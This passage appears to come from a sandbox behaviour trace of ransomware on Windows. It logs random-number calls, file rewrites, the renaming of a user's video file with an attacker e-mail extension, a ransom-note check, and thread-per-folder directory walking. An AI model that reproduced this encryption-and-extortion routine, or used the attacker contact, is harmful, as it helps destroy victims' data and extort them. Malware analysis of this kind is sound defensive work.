Seed=0x1073fca4) returned 0x190ba2e6 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x69520f79 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x7d81978a [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0xc0898e9a [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x75c5bd8 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0xbc21132d [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x83384275 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x7f0d4036 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x41a5eba1 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x7e706b8f [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x8c88ca35 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x33b1ac50 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x6fefaaae [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x3113d5da [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0xd574a220 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0xbae4e769 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x4fb15318 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x2eab4376 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x4dd090d8 [0068.463] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0xd6a22a19 [0068.463] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0xa3153f9f [0068.463] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x29eec51e [0068.463] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x92f8db03 [0068.463] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x64c3a8d5 [0068.463] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x18fb8330 [0068.463] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x971dabc4 [0068.463] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x621b658c [0068.473] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.473] ReadFile (in: hFile=0x5ac, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1073fc70, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1073fc70*=0x4096, lpOverlapped=0x0) returned 1 [0068.474] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0068.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0068.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.474] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0068.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0068.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239c0 [0068.474] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239c0) returned 1 [0068.474] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0068.475] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0068.475] WriteFile (in: hFile=0x5ac, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1073fc70, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1073fc70*=0x4096, lpOverlapped=0x0) returned 1 [0068.475] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.475] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x86a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.475] WriteFile (in: hFile=0x5ac, lpBuffer=0x3423d80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1073fca8, lpOverlapped=0x0 | out: lpBuffer=0x3423d80*, lpNumberOfBytesWritten=0x1073fca8*=0x20, lpOverlapped=0x0) returned 1 [0068.475] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0068.475] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.475] WriteFile (in: hFile=0x5ac, lpBuffer=0x3423b78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1073fcbc, lpOverlapped=0x0 | out: lpBuffer=0x3423b78*, lpNumberOfBytesWritten=0x1073fcbc*=0x8, lpOverlapped=0x0) returned 1 [0068.475] WriteFile (in: hFile=0x5ac, lpBuffer=0x1073fcd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1073fcbc, lpOverlapped=0x0 | out: lpBuffer=0x1073fcd4*, lpNumberOfBytesWritten=0x1073fcbc*=0x4, lpOverlapped=0x0) returned 1 [0068.475] WriteFile (in: hFile=0x5ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1073fcbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1073fcbc*=0x4, lpOverlapped=0x0) returned 1 [0068.475] WriteFile (in: hFile=0x5ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1073fcbc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1073fcbc*=0x6c, lpOverlapped=0x0) returned 1 [0068.475] WriteFile (in: hFile=0x5ac, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1073fcbc, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0x1073fcbc*=0x20, lpOverlapped=0x0) returned 1 [0068.475] WriteFile (in: hFile=0x5ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1073fcbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1073fcbc*=0x4, lpOverlapped=0x0) returned 1 [0068.476] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.476] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423970) returned 1 [0068.476] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b78) returned 1 [0068.476] CloseHandle (hObject=0x5ac) returned 1 [0068.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3431998 [0068.485] wcscpy (in: _Dest=0x3431998, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf" [0068.485] wcscat (in: _Dest=0x3431998, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731" [0068.485] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ts7oo31s1hx4j8dj.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ts7oo31s1hx4j8dj.swf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.508] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0068.508] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431998) returned 1 [0068.508] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf", dwFileAttributes=0x20) returned 0 [0068.508] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccaf0 [0068.508] wcscpy (in: _Dest=0x33ccaf0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0068.508] wcscat (in: _Dest=0x33ccaf0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" [0068.508] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\d0e731-readme.txt")) returned 0x20 [0068.508] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccaf0) returned 1 [0068.508] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cccf0) returned 1 [0068.508] RtlExitUserThread (Status=0x1) Thread: id = 371 os_tid = 0x6c8 [0068.477] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e2d0 [0068.477] wcscpy (in: _Dest=0x347e2d0, _Source="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033" [0068.477] wcscat (in: _Dest=0x347e2d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\" [0068.477] wcscat (in: _Dest=0x347e2d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\*" [0068.477] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342b210 [0068.477] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f28 [0068.493] wcscmp (_String1=".", _String2=".") returned 0 [0068.493] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.493] wcscmp (_String1="..", _String2=".") returned 1 [0068.493] wcscmp (_String1="..", _String2="..") returned 0 [0068.493] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0068.493] FindClose (in: hFindFile=0x3433f28 | out: hFindFile=0x3433f28) returned 1 [0068.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342b210) returned 1 [0068.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e2d0) returned 1 [0068.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e030) returned 1 [0068.494] RtlExitUserThread (Status=0x0) Thread: id = 372 os_tid = 0xa80 [0068.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e340 [0068.480] wcscpy (in: _Dest=0x347e340, _Source="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070" [0068.480] wcscat (in: _Dest=0x347e340, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\" [0068.480] wcscat (in: _Dest=0x347e340, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\*" [0068.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342b478 [0068.480] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f28 [0068.491] wcscmp (_String1=".", _String2=".") returned 0 [0068.491] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.491] wcscmp (_String1="..", _String2=".") returned 1 [0068.491] wcscmp (_String1="..", _String2="..") returned 0 [0068.491] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0068.491] FindClose (in: hFindFile=0x3433f28 | out: hFindFile=0x3433f28) returned 1 [0068.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342b478) returned 1 [0068.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e340) returned 1 [0068.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd20) returned 1 [0068.491] RtlExitUserThread (Status=0x0) Thread: id = 373 os_tid = 0xe00 [0068.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x3481168 [0068.480] wcscpy (in: _Dest=0x3481168, _Source="C:\\Users\\All Users\\Adobe\\ARM\\S" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\S") returned="C:\\Users\\All Users\\Adobe\\ARM\\S" [0068.480] wcscat (in: _Dest=0x3481168, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\S\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\S\\" [0068.480] wcscat (in: _Dest=0x3481168, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\S\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\S\\*" [0068.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342b6e0 [0068.480] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\S\\*", lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f28 [0068.495] wcscmp (_String1=".", _String2=".") returned 0 [0068.495] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.495] wcscmp (_String1="..", _String2=".") returned 1 [0068.495] wcscmp (_String1="..", _String2="..") returned 0 [0068.495] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0068.495] FindClose (in: hFindFile=0x3433f28 | out: hFindFile=0x3433f28) returned 1 [0068.495] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342b6e0) returned 1 [0068.495] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481168) returned 1 [0068.495] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.495] RtlExitUserThread (Status=0x0) Thread: id = 375 os_tid = 0xa78 [0068.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x34811b8 [0068.958] wcscpy (in: _Dest=0x34811b8, _Source="C:\\Users\\All Users\\Microsoft\\AppV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV") returned="C:\\Users\\All Users\\Microsoft\\AppV" [0068.958] wcscat (in: _Dest=0x34811b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\") returned="C:\\Users\\All Users\\Microsoft\\AppV\\" [0068.958] wcscat (in: _Dest=0x34811b8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\*") returned="C:\\Users\\All Users\\Microsoft\\AppV\\*" [0068.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342b210 [0068.958] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\*", lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433828 [0068.958] wcscmp (_String1=".", _String2=".") returned 0 [0068.958] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.958] wcscmp (_String1="..", _String2=".") returned 1 [0068.958] wcscmp (_String1="..", _String2="..") returned 0 [0068.958] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1 [0068.958] wcscmp (_String1="Setup", _String2=".") returned 1 [0068.958] wcscmp (_String1="Setup", _String2="..") returned 1 [0068.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x34314c0 [0068.959] wcscpy (in: _Dest=0x34314c0, _Source="C:\\Users\\All Users\\Microsoft\\AppV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV") returned="C:\\Users\\All Users\\Microsoft\\AppV" [0068.959] wcscat (in: _Dest=0x34314c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\") returned="C:\\Users\\All Users\\Microsoft\\AppV\\" [0068.959] wcscat (in: _Dest=0x34314c0, _Source="Setup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup" [0070.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34314c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0070.559] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 0 [0070.559] FindClose (in: hFindFile=0x3433828 | out: hFindFile=0x3433828) returned 1 [0070.559] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342b210) returned 1 [0070.559] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34811b8) returned 1 [0070.559] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa3c8) returned 1 [0070.559] RtlExitUserThread (Status=0x0) Thread: id = 376 os_tid = 0xff0 [0068.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481a38 [0068.959] wcscpy (in: _Dest=0x3481a38, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0068.959] wcscat (in: _Dest=0x3481a38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0068.959] wcscat (in: _Dest=0x3481a38, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*" [0068.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342b478 [0068.959] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*", lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433868 [0068.959] wcscmp (_String1=".", _String2=".") returned 0 [0068.959] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.959] wcscmp (_String1="..", _String2=".") returned 1 [0068.959] wcscmp (_String1="..", _String2="..") returned 0 [0068.960] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, 